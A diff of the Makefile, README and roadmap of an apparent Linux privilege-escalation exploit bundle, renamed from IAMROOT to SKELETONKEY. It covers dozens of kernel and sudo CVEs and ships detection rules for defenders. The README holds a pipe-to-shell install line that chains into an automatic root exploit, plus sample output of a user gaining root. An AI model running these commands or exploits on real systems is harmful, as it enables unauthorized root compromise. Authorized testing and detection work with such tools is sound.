PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
|
||||
PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
|
||||
|
||||
# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
|
||||
|
||||
# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
|
||||
MUT_DIR := modules/mutagen_astronomy_cve_2018_14634
|
||||
MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
|
||||
MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
|
||||
|
||||
# CVE-2019-14287 sudo Runas -u#-1 underflow
|
||||
SRN_DIR := modules/sudo_runas_neg1_cve_2019_14287
|
||||
SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
|
||||
SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
|
||||
|
||||
# CVE-2020-29661 TIOCSPGRP UAF race
|
||||
TIO_DIR := modules/tioscpgrp_cve_2020_29661
|
||||
TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
|
||||
TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
|
||||
|
||||
# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
|
||||
VSK_DIR := modules/vsock_uaf_cve_2024_50264
|
||||
VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
|
||||
VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
|
||||
|
||||
# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
|
||||
PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/iamroot.o
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS)
|
||||
# All module objects in one var so both the main binary and the test
|
||||
# binary can re-use the list without duplicating the long enumeration.
|
||||
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs both unit-test binaries.
|
||||
#
|
||||
# skeletonkey-test — detect() integration tests against
|
||||
# synthetic host fingerprints. Links
|
||||
# the full module corpus.
|
||||
# skeletonkey-test-kr — pure unit tests for kernel_range +
|
||||
# host comparison helpers. Tiny binary
|
||||
# (core/ only); runs cross-platform.
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
|
||||
TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
|
||||
TEST_KR_BIN := skeletonkey-test-kr
|
||||
TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
test: $(TEST_BIN) $(TEST_KR_BIN)
|
||||
@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
|
||||
./$(TEST_KR_BIN)
|
||||
@echo
|
||||
@echo "[*] running detect() integration tests ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
$(BUILD)/%.o: %.c
|
||||
@@ -130,13 +289,14 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " make build optimized iamroot binary"
|
||||
@echo " make build optimized skeletonkey binary"
|
||||
@echo " make debug build with -O0 -g3"
|
||||
@echo " make static build a fully static binary"
|
||||
@echo " make test build + run the detect() unit test suite"
|
||||
@echo " make clean remove build artifacts"
|
||||
@echo ""
|
||||
@echo "Per-module (legacy) — not built by default:"
|
||||
|
||||
@@ -1,131 +1,278 @@
|
||||
# IAMROOT
|
||||
# SKELETONKEY
|
||||
|
||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||
> bundled with their detection signatures, patch status, and version
|
||||
> ranges. Run it on a system you own (or are authorized to test) and
|
||||
> it tells you which historical and recent CVEs that system is still
|
||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
```
|
||||
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
|
||||
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
|
||||
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
|
||||
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
|
||||
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
|
||||
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
|
||||
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
|
||||
> tool. By using it you assert you have explicit authorization to test
|
||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||
> using it you assert you have explicit authorization to test the
|
||||
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
|
||||
## Why use this
|
||||
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||
work, run nothing
|
||||
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||
no detection signatures and went stale years ago
|
||||
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||
months
|
||||
|
||||
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||
for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Who it's for
|
||||
|
||||
| Audience | What you get |
|
||||
|---|---|
|
||||
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 34 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout), not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 34 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet). All six are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
|
||||
rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
```bash
|
||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
||||
# Install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
# What's this box vulnerable to?
|
||||
sudo iamroot --scan
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||
sudo iamroot --audit
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Deploy detection rules across every bundled module
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
```
|
||||
|
||||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for the
|
||||
curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) for
|
||||
the blue-team deployment guide.
|
||||
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||
paths.
|
||||
|
||||
## What this is
|
||||
### Example: unprivileged → root
|
||||
|
||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
||||
is empirically verified to work on the kernels it claims to target,
|
||||
CI-tested across a distro matrix, and ships with the detection
|
||||
signatures defenders need to spot it in their environment.
|
||||
```text
|
||||
$ id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
The same binary covers offense and defense:
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 39 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
[ ] auto: copy_fail patched or not applicable
|
||||
[ ] auto: nf_tables precondition not met
|
||||
...
|
||||
|
||||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
||||
apply, and which are blocked by patches/config/LSM
|
||||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||
authorization gate)
|
||||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
||||
every bundled CVE so blue teams can drop them into their tooling
|
||||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||
[*] auto: launching --exploit pwnkit...
|
||||
|
||||
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
The safety ranking goes: **structural escapes** (no kernel state
|
||||
touched) → **page-cache writes** → **userspace cred-races** →
|
||||
**kernel primitives** → **kernel races** (least predictable). The
|
||||
goal is to never crash a production box looking for root.
|
||||
|
||||
## How it works
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface (`detect / exploit / mitigate /
|
||||
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||
top-level binary dispatches per command:
|
||||
|
||||
- `--scan` walks every module's `detect()` against the running host
|
||||
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||
`--i-know` flag is the authorization gate)
|
||||
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||
embedded rule corpus
|
||||
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design.
|
||||
|
||||
## The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. The shared `--full-chain` finisher only returns
|
||||
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||
populate the offset table once per target kernel via
|
||||
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||
|
||||
## Build from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||
cd SKELETONKEY
|
||||
make
|
||||
./skeletonkey --version
|
||||
```
|
||||
|
||||
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||
also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**Active — v0.1.0 cut 2026-05-16.** Corpus covers **20 modules**
|
||||
across the 2016 → 2026 LPE timeline:
|
||||
**v0.9.3 cut 2026-05-24.** 39 modules across 34 CVEs — **every
|
||||
year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||
- 🟡 **7 modules fire the kernel primitive** (trigger + slab groom +
|
||||
empirical witness) but stop short of the full cred-overwrite /
|
||||
R/W chain — they return `EXPLOIT_FAIL` honestly rather than
|
||||
fabricate per-kernel offsets. Useful as vuln-verification probes.
|
||||
(af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
|
||||
netfilter_xtcompat, stackrot.)
|
||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||
are exported via `iamroot --detect-rules --format=…`.
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
|
||||
unit tests + 55 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||
Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has
|
||||
those yet). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
## Why this exists
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
|
||||
The Linux kernel privilege-escalation space is fragmented:
|
||||
## Contributing
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||||
exploits, don't run them
|
||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||||
stale, no CI, no defensive signatures
|
||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||
within months of release, often only one distro
|
||||
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
IAMROOT's bet is that there's room for a single curated bundle that
|
||||
(1) actively maintains a small set of high-quality exploits across a
|
||||
multi-distro matrix, and (2) ships detection rules alongside each
|
||||
exploit so the same project serves both red and blue teams.
|
||||
|
||||
## Architecture
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface: `detect()`, `exploit()`,
|
||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||||
ranges, distro coverage, and CI test matrix.
|
||||
|
||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||||
fingerprinting, common utilities) lives in `core/`.
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design and how to add a new CVE.
|
||||
|
||||
## Build & run
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
make # build all modules
|
||||
sudo ./iamroot --scan # what's this box vulnerable to?
|
||||
sudo ./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
||||
sudo ./iamroot --detect-rules --format=sigma > rules.yml
|
||||
sudo ./iamroot --exploit copy_fail --i-know # actually run an exploit
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
||||
research credit belongs to the people who found the bugs.
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||
the research credit belongs to the people who found the bugs.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
+184
-23
@@ -15,18 +15,18 @@ commitments.
|
||||
|
||||
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
||||
|
||||
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
|
||||
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
|
||||
registry, route to module's detect/exploit
|
||||
- [x] Module interface header (`core/module.h`) — standard
|
||||
`iamroot_module` struct + `iamroot_result_t` (numerically
|
||||
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
|
||||
aligned with copy_fail_family's `df_result_t` for zero-cost
|
||||
bridging)
|
||||
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
||||
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
|
||||
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
|
||||
exposing 5 modules
|
||||
- [x] Top-level `Makefile` that builds all modules into one binary
|
||||
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
|
||||
`iamroot --list` prints the module inventory
|
||||
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
|
||||
`skeletonkey --list` prints the module inventory
|
||||
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
||||
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
||||
across families). Phase 1 keeps them inside copy_fail_family/src/
|
||||
@@ -35,7 +35,7 @@ commitments.
|
||||
|
||||
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
||||
|
||||
Public PoC, well-understood, useful for completeness — IAMROOT
|
||||
Public PoC, well-understood, useful for completeness — SKELETONKEY
|
||||
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
||||
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
||||
deployments (worth bundling — many production boxes still run
|
||||
@@ -49,7 +49,7 @@ these).
|
||||
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
||||
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
||||
watches) and `sigma.yml` (non-root modification of sensitive files)
|
||||
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
|
||||
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
|
||||
kernel 6.12.86 → correctly reports OK (patched).
|
||||
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
||||
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
||||
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
|
||||
|
||||
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
||||
- [x] Exposed as a library helper: other modules can call
|
||||
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
|
||||
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
|
||||
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
|
||||
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
|
||||
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
||||
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
||||
- [x] `entry_SYSCALL_64` slot offset configurable via
|
||||
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
Future enhancement: auto-detect via /boot/System.map or
|
||||
/proc/kallsyms if accessible.
|
||||
|
||||
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
|
||||
